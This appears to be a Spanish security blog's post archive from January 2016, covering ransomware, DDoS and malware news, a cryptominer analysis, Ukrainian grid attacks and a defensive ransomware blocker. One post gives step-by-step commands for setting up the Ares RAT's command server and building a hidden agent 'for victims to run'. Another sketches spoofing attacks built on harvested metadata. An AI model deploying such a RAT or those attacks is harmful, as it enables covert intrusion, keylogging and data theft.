sábado, 30 de enero de 2016

¿Cifraron las fotos de tu móvil? en android también existe ransomware

Imagina todas las fotos que haces y almacenas en el móvil y que de repente un día dejas de tenerlas y te aparece un infame mensaje en el que te piden dinero por descifrarlas. Esto es sólo un ejemplo porque, efectivamente, el ransomware no es exclusivo de los PCs...



Desde mayo de 2014 se conoce una variante de malware de tipo ransomware bautiza

da como 'Lockdroid' que es capaz de bloquear o cambiar el PIN de un dispositivo Android e incluso cifrar y borrar los archivos de un dispositivo Android mediante un reset de fábrica.

La nueva variante Android.Lockdroid.E descubierta por Symantec, se distribuye a través de la aplicación "Porn ‘O’ Mania" presente en markets de terceros (los usuarios de Google Play Store están a salvo). Si el usuario es infectado, el ransomware obtendrá root, cifrará los archivos, bloqueará el teléfono y mostrará un mensaje pidiendo un rescate, amenazando además a la víctima con enviar su historial de navegación a todos sus contactos.

Pero sin duda lo que más llama la atención es su forma de instalarse engañando al usuario mediante técnicas de clickjacking, una técnica que ya vimos por ejemplo en la Blackhat hace años y que se ha usado en otro malware como BadAccent: superpone una pantalla (TYPE_SYSTEM_OVERLAY window) para que el usuario pulse un botón de "Continuar" cuando realmente está pulsando al botón para conceder todos los permisos administrativos necesarios a la aplicación maliciosa.

La parte buena es que la posibilidad de mostrar popups secundarios en pantallas de instalación fue eliminada en la versión de Android 5.0 (Lollipop). La mala, que casi el 67% de los terminales con Android todavía utilizan una versión anterior. Así que si eres uno de ellos... ¡¡actualiza!!

Fuentes:
Android ransomware variant uses clickjacking to become device administrator
Android Ransomware Threatens to Share Your Browsing History with Your Friends
"Lockdroid" Ransomware Can Lock Smartphones, Erase Data
New Android ransomware uses clickjacking to gain admin privileges

viernes, 29 de enero de 2016

La banca en línea del HSBC sufrió un ataque DDoS

La filial del Reino Unido del banco HSBC reveló hoy en su cuenta de Twitter que los servicios en línea de su sitio habían sido blanco de cibercriminales durante la mañana, aunque enseguida afirmó que se había defendido en forma exitosa. La compañía aseguró a sus clientes que estaba trabajando duro para restaurar sus sistemas para que volvieran a estar disponibles en línea, por lo que muchos usuarios pasaron varias horas sin poder acceder.
causado por un ataque DDoS, lo que significa que múltiples computadoras fueron usadas para hacer peticiones repetidas que colapsaron el servicio. Como el sistema no está preparado para procesar tal bombardeo de solicitudes, se satura y deja de funcionar.
HSBC añadió que no se comprometió ninguna información sensible de sus clientes en el ciberataque. Este fue el comunicado que emitió, según reporta Ars Technica:
La banca en línea de HSBC Reino Unido fue víctima de un ataque denegación de servicio esta mañana, el cual afectó a sitios de banca personal en el Reino Unido.
HSBC se ha defendido con éxito del ataque, y las transacciones de los clientes no se vieron afectadas. Estamos trabajando duro para restaurar los servicios, y la actividad normal se está retomando.
Pedimos disculpas por cualquier inconveniente que este incidente haya podido causar.
Este no ha sido un buen mes para el banco, ya que hace poco sus clientes estuvieron imposibilitados de acceder a sus cuentas online. Le tomó cerca de dos días a HSBC resolver este “problema técnico complejo” dentro de sus sistemas.
“Me complace decir que hemos visto una vuelta paulatina del servicio de banca en línea para nuestros clientes personales y corporativos en las últimas horas”, dijo John Hackett, COO de HSBC Reino Unido, en ese entonces. “Estaremos monitoreando el servicio muy atentamente, listos para responder si llegara a surgir un nuevo problema”, había dicho. Hoy, surgió uno.

jueves, 28 de enero de 2016

whatportis: un comando para buscar a qué número de puerto corresponde un servicio y viceversa.

¿Cuántas veces has buscado en Internet a qué servicio estándar corresponde un puerto TCP/UDP o viceversa? Hazlo como un pro desde tu consola con la utilidad whatportis.



Instalación:

$ pip install whatportis

Uso:

Buscar qué puerto está asociado con un servicio:

$ whatportis redis
+-------+------+----------+---------------------------------------+
| Name  | Port | Protocol | Description                           |
+-------+------+----------+---------------------------------------+
| redis | 6379 |   tcp    | An advanced key-value cache and store |
+-------+------+----------+---------------------------------------+

O a la inversa, qué servicio está asociado con un número de puerto determinado:

$ whatportis 5432
+------------+------+----------+---------------------+
| Name       | Port | Protocol | Description         |
+------------+------+----------+---------------------+
| postgresql | 5432 |   tcp    | PostgreSQL Database |
| postgresql | 5432 |   udp    | PostgreSQL Database |
+------------+------+----------+---------------------+

Además, podemos buscar patrones sin conocer exactamente el nombre simplemente añadiendo la opción --like:



$ whatportis mysql --like
+----------------+-------+----------+-----------------------------------+
| Name           |  Port | Protocol | Description                       |
+----------------+-------+----------+-----------------------------------+
| mysql-cluster  |  1186 |   tcp    | MySQL Cluster Manager             |
| mysql-cluster  |  1186 |   udp    | MySQL Cluster Manager             |
| mysql-cm-agent |  1862 |   tcp    | MySQL Cluster Manager Agent       |
| mysql-cm-agent |  1862 |   udp    | MySQL Cluster Manager Agent       |
| mysql-im       |  2273 |   tcp    | MySQL Instance Manager            |
| mysql-im       |  2273 |   udp    | MySQL Instance Manager            |
| mysql          |  3306 |   tcp    | MySQL                             |
| mysql          |  3306 |   udp    | MySQL                             |
| mysql-proxy    |  6446 |   tcp    | MySQL Proxy                       |
| mysql-proxy    |  6446 |   udp    | MySQL Proxy                       |
| mysqlx         | 33060 |   tcp    | MySQL Database Extended Interface |
+----------------+-------+----------+-----------------------------------+


Seguro que pensaran por qué no usar simplemente "grep /etc/services"... La razón es porque es un comando portable con un formato más agradable. Utiliza la web de Iana.org para obtener una listado oficial de puertos (ports.db) que próximamente podremos forzar a actualizar con update.

Fuentehttps://github.com/ncrocfer/whatportis

martes, 26 de enero de 2016

El malware sabe que lo estás observando...

El malware actual ya usa una gran variedad de técnicas para evadir la tecnología de sandboxing y otros sistemas de análisis. Aunque estas técnicas son cada vez más sofisticadas normalmente podemos dividir las más básicas en cuatro tipos distintos, según su objeto de detección:

- Configuraciones específicas: sleep calls, time triggers, fast flux (dns) y ocultación de procesos
- Interacción humana: movimiento del ratón y ventanas de diálogo
- Entornos específicos: versiones, iframes embebidos y DLL loaders
- VMware específicos — listas de servicios del sistema, ficheros únicos y puertos VMX

Muchas de estas técnicas podéis encontrarlas en herramientas como ScoopyNG o sobretodo Paranoid Fish (pafish) del genial Alberto Ortega (@a0rtega) que yadescubrimos en 2012 y que actualmente está en la versión 0.6 incluyendo un buen número de comprobaciones para detectar la presencia de VM, sandboxes y otros elementos de seguridad. Por ejemplo, su ejecución en la máquina en la que estaba escribiendo esta entrada revela la presencia de VMWare:



Por otro lado y debido precisamente a la proliferación de entornos virtuales, sobre todo en empresas, últimamente muchos desarrolladores de malware comprenden que no les conviene parar la ejecución de sus payloads sólo por estar en una VM y utilizan otras técnicas como buscar modificaciones en el sistema operativo o configuraciones de hardware o software inusuales. Para este caso os aconsejo echar un vistazo al sandbox tester de MRGEffitas.

En cualquier caso estas herramientas son siempre de doble filo: por un lado permiten a los administradores de los sistemas identificar y (si es posible) mitigar sus puntos débiles en términos de detección, y por otro facilita a los desarrolladores de malware la implementación de estas técnicas que hacen sus artefactos más indetectables y por lo tanto más prolíficos en términos de infección y propagación.

En el primer caso he visto importantes mejoras para la detección como en Virtualbox o en Cuckoo Sandbox, si bien he de decir que tengo la impresión convicción de que los atacantes tienen ventaja. Me explico, siempre he pensado que la mejor manera de analizar una muestra es en un laboratorio con una máquina física en un entorno controlado lo más real posible al que luego realizar un análisis forense detallado. Sin embargo, esto es evidentemente inviable si extrapolamos el análisis aun sistema de AV que es como una enorme cadena de producción que no puede parar: hay que analizar y determinar un resultado para cada fichero a una velocidad vertiginosa para no afectar (o hacerlo mínimamente) a la experiencia de usuario. 

Resumiendo:

- aún analizando manualmente es muy difícil evitar las técnicas anti-análisis (debugging, sandboxing, virtual) si el malware las implementa correctamente
- la detección de amenazas en tiempo real es simplemente economía de escala, se intentará detener el mayor porcentaje posible de positivos pero el sistema es "consciente" que no detendrá algo nuevo y elaborado. 

¿O alguien conoce un sistema infalible que pueda engañar a aquellos que nacen para engañar? Yo creo que no existe, como no existe el 100% de seguridad en nada... 

lunes, 25 de enero de 2016

metadatos en archivos públicos de El Salvador y su alcance

Esto es una investigación con fines didácticos para dar a entender que en nuestro país el salvador no se toman la molestia de realizar el ABC de la seguridad informática el cual uno de esas reglas primordiales es no subas la información con metadatos.



comencemos usaremos documentos publicos que estan en internet no estamos descargando nada que sea un documento interno o que se haya tenido que hacer escalación de privilegios o algo similar por alcanzar los documentos estos están abierto al público y quiero ser muy claro en esto.

esto es una investigación de campo que podrá ayudar a estudiantes de la carrera de ingeniera en sistemas o similares interesados en el tema , para esto usaremos un poco de tácticas avanzadas de búsqueda de google sencillamente buscaremos todos los documentos de office powerpoint (.pptx).

poniendo lo siguiente en el buscador por ejemplo:

filetype:pptx site:http://www.mined.gob.sv/





como siempre en cada investigación o auditoria de seguridad se busca a la gacela herida y en este caso pues veremos que los powerpoint normalmente traen mucha mas cantidad de información que la mayoría de los documentos office.

pero que puedan ver esto comparemos un documento word a un powerpoint con respecto a los documentos office que se pueden descargar.

para analizar estos metadatos usaremos la herramienta evil foca la cual es bastante potente al tratar con metadatos se refiere también tiene otras funciones pero en esta ocasión no las usaremos.

word solo se encontraron nombres de usuarios y sistemas operativos:



















Con respecto al powerpoint se encontraron mucho mas información tanta que fácilmente se puede obtener mucha información para comenzar a imaginar todos los posibles ataques de ingeniería social que se pudieran realizar.















toda esta información fácilmente podemos hacer uso de un ataque spoofing haciéndonos pasar por un correo que hemos encontrado y solicitando ayuda con el cambio de password o que nos indiquen el correo donde solicitamos el cambio de password y que se nos envíe a otro correo en especifico por X motivo , no haremos esto ya que es algo para lo cual no hemos pedido ninguna autorización y puede presentar algún tipo de problema del lado legal así que dejaremos esa parte en paz , solo es de usar un poco de la imaginación con todas las posibilidades que tenemos disponible solo usando la información de los metadatos.

para terminar un poco con esto haremos algo mas usaremos Maltego usando los correos que encontramos en los metadatos del powerpoint  y encontramos todo esto  varios servidores y demás solo partiendo de un simple correo.





Nuestra conclusión es si van a subir un documento a internet deben de verificar que no debe de tener ningún metadato que lleve aun tipo de ataque dirigido ya que la llave para un ataque exitoso es la cantidad de información que se tenga.

saludos,


domingo, 24 de enero de 2016

Ares: un RAT escrito en Python

Ares es un RAT (Remote Access Tool) escrito en Python. Se compone de dos programas principales:

- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C

La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:

pip install cherrypy

El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).

Actualmente soporta:

- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging

Instalación

Primero descargamos el repositorio:

git clone https://github.com/sweetsoftware/Ares.git

Luego creamos la base de datos sqlite:

python db_init.py 


Y lanzamos el servidor:

python server.py
[09/Dec/2015:07:40:51] ENGINE Listening for SIGHUP.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGTERM.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGUSR1.
[09/Dec/2015:07:40:51] ENGINE Bus STARTING
[09/Dec/2015:07:40:51] ENGINE Started monitor thread 'Autoreloader'.
[09/Dec/2015:07:40:51] ENGINE Started monitor thread '_TimeoutMonitor'.
[09/Dec/2015:07:40:51] ENGINE Serving on http://127.0.0.1:8080
[09/Dec/2015:07:40:51] ENGINE Bus STARTED
 

Ahora configuramos el agente:

vi ./agent/settings.py

SERVER_URL = "http://192.168.11.128:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2

Y con pyinstaller creamos el ejecutable:

D:\Python27>pip install pyinstaller

D:\Python27\agent>pyinstaller --onefile --noconsole agent.py
65 INFO: wrote D:\Python27\agent\agent.spec
342 INFO: Testing for ability to set icons, version resources...
822 INFO: ... resource update available
825 INFO: UPX is not available.
1083 INFO: Processing hook hook-os
1368 INFO: Processing hook hook-time
1447 INFO: Processing hook hook-cPickle
1675 INFO: Processing hook hook-_sre
2154 INFO: Processing hook hook-cStringIO
2606 INFO: Processing hook hook-encodings
2654 INFO: Processing hook hook-codecs
9250 INFO: Extending PYTHONPATH with D:\Python27\agent
9251 INFO: checking Analysis
9302 INFO: building because out00-Analysis.toc is bad
9302 INFO: running Analysis out00-Analysis.toc
9304 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
...

Por último, sólo nos falta conseguir que las víctimas ejecuten el agente...

  


En definitiva Ares tienen que mejorar bastante: el agente "pesa" demasiado y todavía hay que complementar y añadir nuevas características, pero sin duda se trata de una implementación de un RAT en Python interesante y bastante académica.


https://github.com/sweetsoftware/Ares

sábado, 23 de enero de 2016

Análisis de un Bitcoin Miner malicioso y sus formas de esconderse

El payload que puede tirar un código malicioso al infectar un sistema puede tener los más diversos objetivos; entre algunas de las acciones que nos podemos encontrar se encuentran los Bitcoin Miners. Los cibercriminales buscan aprovecharse de los recursos de los sistemas que infectan y así tomar el control, robar información, o como veremos en este post, minar ciertas monedas criptográficas para generarle una ganancia al atacante.
El archivo malicioso que vamos a analizar es detectado por los productos de ESET como una variante de Win32/CoinMiner.LV y utiliza diferentes técnicas para evitar ser analizado, como así también evitar ejecutarse en entornos virtuales. Cuando comenzamos el análisis de esta amenaza en un desensamblador como IDA Pro, nos encontramos con diferentes comprobaciones para saber si estaba siendo analizado con un debugger:
desensamblador
Entre las técnicas que nos encontramos están la llamada a IsDebuggerPresent,CheckRemoteDebuggerPresent y la comprobación de PEB (Process Environment Block) del proceso para ver si estaba habilitado el flag de debug. Luego de pasar las comprobaciones, el malware pasa a la sección principal, donde busca tres recursos diferentes que se encuentran en la sección .rsrsc:
recursos-directorio
De la imagen anterior podemos ver que existen los recursos RT_RCDATA 01 y 2 que son cargados antes de realizar cualquier otra acción al cargar la segunda parte de este código malicioso:
GetResources Code
Más adelante, vimos que utilizaba estos recursos repetidamente a lo largo de su ejecución; luego de analizar el binario vimos que cada uno de ellos se convertía en:

  • Resource “0”: contiene la URL del pool al que se va a conectar el miner. El contenido está cifrado
  • Resource “1”: contiene la clave de cifrado para descifrar los otros dos resources
  • Resource “2”: es el más grande y contiene un archivo ejecutable cifrado

Para descifrar los recursos que están cifrados dentro del ejecutable utiliza la función con el siguiente prototipo para descifrar los recursos:
int descifrarRes(void* cifrado, void* clave, int size_clave, void* buffer)
El mismo está compuesto por algunas comprobaciones y dos xor:
xor
En forma simplificada, cada caracter descifrado se obtiene de la siguiente forma:
descifrada[i] = clave[i] XOR cifrada[(size_cifrada – 1) – 32 + (i mod 32)] XOR cifrada[i]
Es decir que en primera instancia se va tomando cada byte de la clave y se le aplica una operación de XOR. Para el segundo operando se toman los últimos 32 bytes del texto cifrado, también de a uno por vez. Cuando se pasa del final, se vuelve al comienzo del intervalo (por ello se toma el resto de la división por 32). Y luego se aplica el segundo XOR, con cada byte de la cadena cifrada, pero esta vez desde el comienzo.
Así, el resource “0” se vuelve visible:
“-a scrypt -o stratum+tcp://eu.ltcrabbit.com:3333 -u YouMother92.Miner -p x -g no -t 2”
Vemos que son los parámetros para la ejecución de un miner que se conecta a ltcrabbit.com(Litecoins) con el usuario “YouMother92.Miner” y contraseña “x”. También vemos que el algoritmo usado es scrypt, aunque el sitio también ofrece la alternativa de X11. Si bien X11 puede llegar a ser más rápido, requiere el uso intensivo de GPU. No pudiendo garantizar que la máquina infectada posea GPU, entendemos la elección de los cibercriminales de usar scrypt.
Luego se aplica la misma rutina de descifrado al resource “2”. Sin embargo, esto devuelve un contenido que tiene una capa más de cifrado, para lo cual se invoca a otra subrutina. Vemos la estructura de esta segunda función de descifrado en la siguiente imagen:
Funciones-descifrado
Luego del descifrado, queda un ejecutable en memoria que podemos volcar. El archivo resultante tiene SHA-1 igual a 5f3d01baa567d8b5e32ae933f94472d1d40aaf0e. Que no es más ni menos que una aplicación para minar Bitcoins, o Litecoins este caso. Así, y con lo que hemos visto hasta el momento, podemos suponer que el malware va a ejecutar un cliente de mining, con los parámetros y la URL que se descifraron previamente.
Sin embargo, el ejecutable que ha sido descifrado en memoria no será escrito al disco, sino que será inyectado en la imagen de otro proceso, a través de la técnica conocida como Process Replacement. Para ello, la siguiente acción que realiza el malware consiste en buscar y ejecutar “C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe”.
A continuación la imagen del respectivo CreateProcess:
CreateProcess
Se observa cómo se lanza una aplicación no maliciosa (vbc.exe, el compilador de Microsoft Visual Basic) con los argumentos que vimos antes. En la misma rutina que se invoca CreateProcesstambién se llama a NtUnmapViewofSectionWriteProcessMemory y ResumeThread, con lo cual se remplaza la imagen de vbc.exe con el miner que se descifró en memoria. Esa rutina tiene una disposición lineal, y en la siguiente imagen mostramos una parte:
Process Replacement
Luego de esto, el miner queda trabajando bajo el nombre de vbc.exe, mientras que el malware entra en un bucle de comprobación de procesos de análisis.
Process Check
Así, cada segundo se itera por los procesos que están en memoria, buscando los que se observan en la imagen anterior. Si alguno de ellos es encontrado (es decir, si alguno de ellos está siendo ejecutado) se termina la ejecución, evitando así que se estudie el programa malicioso o el usuario se dé cuenta de que alguien está minando Litecoins con su sistema sin su permiso.
Por otro lado, resulta curioso que en la lista no aparezcan aplicaciones de monitoreo de tráfico de red, tal como Wireshark. De hecho, si capturamos el tráfico en la máquina infectada, vemos la comunicación con el servidor:
Wireshark-miner
Esta familia de malware es normalmente distribuida por otros códigos maliciosos, que además de robar información utilizan este tipo de acciones para generar otro tipo de ganancia a los atacantes. Por otro lado, en este post vimos algunas técnicas que los cibercriminales suelen utilizar para ocultar diferentes amenazas dentro de un mismo código malicioso, ya sea utilizando una imagen osimplemente ocultándolos en los recursos del programa.

viernes, 22 de enero de 2016

Bloquea a los usuarios infectados con ransomware con CryptoBlocker

es un script en powershell sencillo pero bastante útil para bloquear a los usuarios infectados por distintas variantes de ransomware.



Lo ideal es instalarlo en los servidores de ficheros de tal manera que, cuando se detecte que un usuario escribe algún fichero malicioso en un recurso compartido, deniege inmediata y automáticamente el acceso para impedir que continúe cifrando el resto.

Paso a paso lo que hace es lo siguiente:

1. Revisa los recursos de red compartidos
2. Instala File Server Resource Manager (FSRM)
3. Crea los scripts batch/PowerShell usados por FSRM
4. Crea un Grupo de Ficheros en FSRM que contiene los nombres de archivos y extensiones maliciosos
5. Crear una Pantalla de Ficheros usando el grupo creado anteriormente, con notificaciones de eventos y comandos
6. Crea Pantallas de Ficheros usando esa plantilla para cada unidad que contenga recursos de red compartidos

Recordar que este script no parará las variantes de ransomware que utilicen extesiones aleatorias ni borrará los ficheros README. También es posible utilizar el evento "Source = SRMSVC, ID = 8215" para personalizar alarmas si se dispone de un sistema de monitorización. 


Evidentemente también podemos añadir más nombres de fichero / extensiones a $monitoredExtensions y volverlo a desplegar cuando sea necesario.

Fuentehttps://github.com/m-dwyer/CryptoBlocker/

jueves, 21 de enero de 2016

Nueva ola de ataques contra la industria energética ucraniana

El pasado 19 de enero descubrimos una nueva ola de ataques, donde una vez más las víctimas fueron una serie de empresas de distribución de electricidad en Ucrania tras los apagones energéticos de diciembre. Lo que resulta particularmente interesante es que el malware utilizado en esta ocasión no es BlackEnergy, planteando así más preguntas acerca de los autores detrás de la operación en curso. El malware se basa en un backdoor de código abierto disponible en forma gratuita: algo que nadie podría esperar de un presunto operador de malware patrocinado por el estado.

Detalles sobre el ataque

El escenario de ataque en sí no ha cambiado mucho con respecto al descrito en nuestra publicación anterior de este blog. Durante el pasado martes 19, los atacantes enviaron correos electrónicos de phishing dirigidos a las posibles víctimas. Cada correo electrónico contenía un archivo adjunto con un .XLS malicioso:

Correo electrónico de phishing dirigido, enviado el 19 de enero de 2016html-pngarchivo-XLScodigo-ejecutablepython_codigo
  • VBA/TrojanDropper.Agent.EY
  • Win32/TrojanDownloader.Agent.CBC
  • Python/Agent.N
Reflexiones y conclusiones
  1. Probablemente se trate del primer caso en que un ciberataque de malware haya provocado un corte de energía eléctrica a gran escala.
  1. Los principales medios de comunicación le atribuyeron popularmente los ataques a Rusia, a partir de los reclamos de varias empresas de seguridad de que la organización que utiliza BlackEnergy (también conocido como Sandworm o Quedagh) está patrocinada por el estado ruso.
Indicadores de sistemas comprometidos
62.210.83.213BC63A99F494DE6731B7F08DD729B355341F6BF3D


El pasado 19 de enero descubrimos una nueva ola de ataques, donde una vez más las víctimas fueron una serie de empresas de distribución de electricidad en Ucrania tras los apagones energéticos de diciembre. Lo que resulta particularmente interesante es que el malware utilizado en esta ocasión no es BlackEnergy, planteando así más preguntas acerca de los autores detrás de la operación en curso. El malware se basa en un backdoor de código abierto disponible en forma gratuita: algo que nadie podría esperar de un presunto operador de malware patrocinado por el estado.
El escenario de ataque en sí no ha cambiado mucho con respecto al descrito en nuestra publicación anterior de este blog. Durante el pasado martes 19, los atacantes enviaron correos electrónicos de phishing dirigidos a las posibles víctimas. Cada correo electrónico contenía un archivo adjunto con un .XLS malicioso:
Correo electrónico de phishing dirigido, enviado el 19 de enero de 2016
El correo electrónico incluye contenido HTML con un enlace a un archivo .PNG ubicado en un servidor remoto para que los atacantes reciban una notificación cuando el correo electrónico es entregado y abierto por la víctima deseada. Sabemos que el grupo BlackEnergy ha utilizado esta misma técnica interesante en el pasado.
Fragmento del contenido HTML del correo donde figura el archivo PNG
También resulta curioso que el nombre del archivo PNG sea la cadena de texto “enviar_a_correo_electrónico_ de_la_víctima”, codificada en base64.
Archivo XLS utilizado en los ataques
El archivo XLS malicioso habilitado para macros es similar a los que ya hemos visto en olas de ataques anteriores. Mediante el uso de Ingeniería Social, intenta engañar al destinatario para que haga caso omiso de la advertencia de seguridad de Microsoft Ofifice y ejecute la macro de todas formas. El texto del documento, traducido del ucraniano, dice:
¡Atención! Este documento se creó con una versión más reciente de Microsoft Office. Es necesario habilitar macros para mostrar el contenido del documento.
La ejecución de la macro activa un trojandownloader malicioso que intenta descargar y ejecutar el payload final desde un servidor remoto.
Fragmento de código extraído del archivo ejecutable
El servidor que aloja el payload final está ubicado en Ucrania y se cerró tras la notificación de CERT-UA y de CyS-CERT.
Esperábamos encontrar el malware BlackEnergy como payload final, pero en cambio, en este caso se utilizó un malware diferente. Los atacantes emplearon versiones modificadas de un backdoor gcat de código abierto escrito en el lenguaje de programación Python. Luego se utilizó el programa PyInstaller para convertir el script en python a un archivo ejecutable autosostenible.
Código ofuscado del backdoor GCat
Este backdoor es capaz de descargar archivos ejecutables y ejecutar comandos de shell. Las demás funcionalidades del backdoor GCat (como tomar capturas de pantalla, registrar las pulsaciones del teclado o subir archivos) fueron eliminadas del código fuente. Los atacantes lo controlan mediante una cuenta de Gmail, lo que dificulta la detección de este tipo de tráfico en la red.
Las soluciones de seguridad de ESET detectan esta amenaza como:
Desde que descubrimos estos ataques y comenzaron a aparecer las primeras publicaciones en blogs, se han ganado la atención mediática en todo el mundo. Las razones para ello son dos:
El primer punto ha sido un tema de debate en cuanto a si el malware realmente causó el corte de luz o si solo “lo hizo posible”. Si bien existe una diferencia en los aspectos técnicos de ambas opciones y como naturalmente estamos interesados en los detalles más minuciosos cuando analizamos el malware, en el plano superior en realidad no importa. De hecho, esa es la esencia misma de los backdoors maliciosos: concederles a los atacantes el acceso remoto a un sistema infectado.
El segundo punto es aún más controversial. Como ya mencionamos antes, hay que tener mucho cuidado antes de acusar a un actor específico, sobre todo si es un estado nación. Actualmente no tenemos ninguna evidencia que indique quién está detrás de estos ataques, e intentar atribuirle la culpa a alguien por simple deducción basada en la situación política actual podría llevarnos a la respuesta correcta, o tal vez no. De una forma u otra, no deja de ser mera especulación. El descubrimiento actual sugiere que también habría que contemplar la posibilidad de que se trate de una operación de bandera falsa.
En resumen, el descubrimiento actual no nos ayuda a dilucidar el origen de los ataques en Ucrania. Por el contrario, nos recuerda que debemos evitar llegar a conclusiones precipitadas.
Seguimos monitoreando la situación para conocer su desarrollo futuro. Ante cualquier duda o para enviar muestras relacionadas con este tema, escríbenos a: threatintel@eset.com
Direcciones de IP:
193.239.152.131
SHA-1 del archivo XLS malicioso:
1DD4241835BD741F8D40BE63CA14E38BBDB0A816
SHA-1 de los archivos ejecutables:
920EB07BC8321EC6DE67D02236CF1C56A90FEA7D

miércoles, 20 de enero de 2016

Hospital que todavia usa windows XP infactado con malware

A pesar de que en abril de 2014 Microsoft puso fin al soporte para Windows XP, y de que tanto la compañía como expertos de seguridad han insistido en la necesidad de migrar hacia sistemas operativos más modernos, sigue habiendo organizaciones que utilizan esa vieja distribución. Tal es el caso del hospital Royal Melbourne de Australia, que fue víctima de un malware en sus sistemas.
Su último comunicado oficial dice: “Si bien el virus fue disruptivo para la organización, debido al trabajo incansable del personal hemos sido capaces de minimizar esta interrupción a nuestros pacientes y garantizar que su seguridad se ha mantenido”. Desde ayer, “muchos programas afectados por el virus están funcionando incluyendo patología y farmacia”.
Las computadoras de varios sistemas del hospital ya han sido desinfectadas, afirma, y el equipo de IT continúa trabajando para restaurar algunas otras tan pronto como sea posible. Todas ellasutilizan Windows XP, sistema operativo lanzado en 2001 que dejó de recibir actualizaciones y soporte de Microsoft el 8 de abril de 2014. A partir de ese momento, utilizarlo implica un grave riesgo de seguridad ya que los equipos quedan expuestos a potenciales vulnerabilidades 0-day que no serían corregidas.
Y en el caso puntual de las instituciones de salud, como lo es el hospital Royal Melbourne, hay mucha información sensible que debe ser reguardada con las medidas de seguridad adecuadas – entre las cuales está contar con sistemas y aplicaciones actualizados.
Tras la intrusión del virus, según informa Softpedia, algunos departamentos del hospital debieron hacer en forma manual procesos que ya se habían automatizado con las máquinas con Windows XP, como por ejemplo el procesamiento de sangre y tejidos, o la asignación de raciones de comida. El personal recibió el alerta de no acceder a ningún enlace o sitio web que parezca sospechoso ni ingresar credenciales en páginas a las que fueran redireccionados.
Ciertamente, lo ideal sería que no hubiera organizaciones con sistemas obsoletos, pero claro que la migración requiere de una inversión que no todas están dispuestas a afrontar. En casos en que no fuera posible la actualización a versiones como Windows 7, Windows 8.1 o Windows 10, es primordial contar con copias de respaldo de la información (backup) y una solución de seguridad que ayuden a mantener los niveles de seguridad más altos posibles en el entorno.